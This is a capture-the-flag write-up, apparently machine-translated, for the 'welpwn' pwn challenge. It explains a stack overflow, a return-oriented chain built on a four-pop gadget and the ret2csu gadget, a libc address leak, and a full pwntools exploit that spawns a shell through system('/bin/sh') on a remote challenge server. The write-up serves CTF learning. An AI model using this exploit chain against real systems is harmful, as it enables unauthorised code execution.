welpwn
The topic is attacking and defending the world.
Check the flow protection program first
It's like a stack overflow, but there's no overflow.
Then look at the echo function
A little reverse, we can find that there is an array inside eval, which puts the first 16 of the previously read 0x400 bytes into s2. But it was launched when it met 0
However, in a 64 bit system, the occurrence of address 0 cannot be avoided. Therefore, we can only control the first address entered. Because the first address in the small end method is the address in front and 0 in the back, it can be read in. It feels a bit like the idea of stack migration here. Fortunately, there are other methods for this problem. It is not so complicated as stack migration.
It is observed that echo is called in main. The content we input for the first time is actually stored in the stack frame of main, and there is also a copy. So is it possible for us to go back to the stack frame of the previous function? However, in main, we entered padding with a length of 24 at the beginning, so we need to skip this part.
It is easy to think of using a generic gardet to find a gardet (24 + p64 (the function itself)) that can produce more than four pops in gardet, but there is also a pop that happens to be four,
Well, actually, he seems to be general gardet
OK, let's remove the a input at the beginning through these four pop s. Next, you can perform a general rop, first disclose the libc base address, and then pass in the process of system
Here I read the online wp and saw that it uses the general gardet method. I just reviewed the general gardet I haven't used for a long time. Here is the principle of the source code
We first enter the address 0x40082a, and then ret to 400810. We can see that several parameters of the previous pop are passed back to the three important registers of RDX, RSI and EDI. You can basically control the parameters of all functions. After that, another call command just arrived at the address we wanted to go. It seems to be prepared for hackers. Pay attention to the following rules when entering parameters.
This is for the call function (0x400819) and register value. You can see CTF all in one
OK, next, construct payload1 and disclose the write address
payload='a'*(16+8)+p64(pop_4_ret)+p64(pop_6_ret)+p64(0)+p64(1)+p64(write_got)+p64(0x8)+p64(write_got)+p64(1)+p64(part2) payload+='aaaaaaaa'+'bbbbbbbb'+'cccccccc'+'dddddddd'+'eeeeeeee'+'ffffffff'+'gggggggg'+p64(main_addr) # The last line + = is because the 0x400819call in the general gardet above is used up. t he will pop a lump of things. These things must be removed before ret ting to the correct address Note that when you call a function here write_got!the reason being that call instead of ret,After binding write_got Stored in the table is write Your real address,If write write_plt No call The role of.
After getting the write address, libcSearcher looks for it and finds it.
After that, find the initial address, find the offset and send it to the system. I won't repeat it
exp
from pwn import * from LibcSearcher import * # io=process('./welpwn') io=remote('111.200.241.244',49896) context.log_level='debug' elf=ELF('./welpwn') puts_addr=elf.plt['puts'] write_got=elf.got['write'] write_plt=elf.plt['write'] printf_got=elf.got['printf'] pop_rdi_ret = 0x00000000004008a3 pop_4_ret=0x000000000040089c pop_6_ret=0x40089A part2=0x400880 main_addr=0x4007CD io.recvline() # gdb.attach(io,"b *0x4007CB") payload='a'*(16+8)+p64(pop_4_ret)+p64(pop_6_ret)+p64(0)+p64(1)+p64(write_got)+p64(0x8)+p64(write_got)+p64(1)+p64(part2) payload+='aaaaaaaa'+'bbbbbbbb'+'cccccccc'+'dddddddd'+'eeeeeeee'+'ffffffff'+'gggggggg'+p64(main_addr) io.sendline(payload) write_addr = u64(io.recv(8)) libc=LibcSearcher('write',write_addr) write_bias=libc.dump('write') libc_base=write_addr-write_bias print hex(write_addr) system_addr=libc_base+libc.dump('system') str_bin_sh = libc_base+libc.dump("str_bin_sh") io.recvline() payload='a'*(16+8)+p64(pop_4_ret)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr) # gdb.attach(io,"b *0x4007CB") io.sendline(payload) io.interactive()
The main lesson of this question is that it calls the internal function. Coincidentally, the stack frame of this function is just small. It can go back to the stack frame of the previous function, and then rop in the stack frame of the previous function. It is relatively innovative. And it's just like reviewing the usage of general gardet.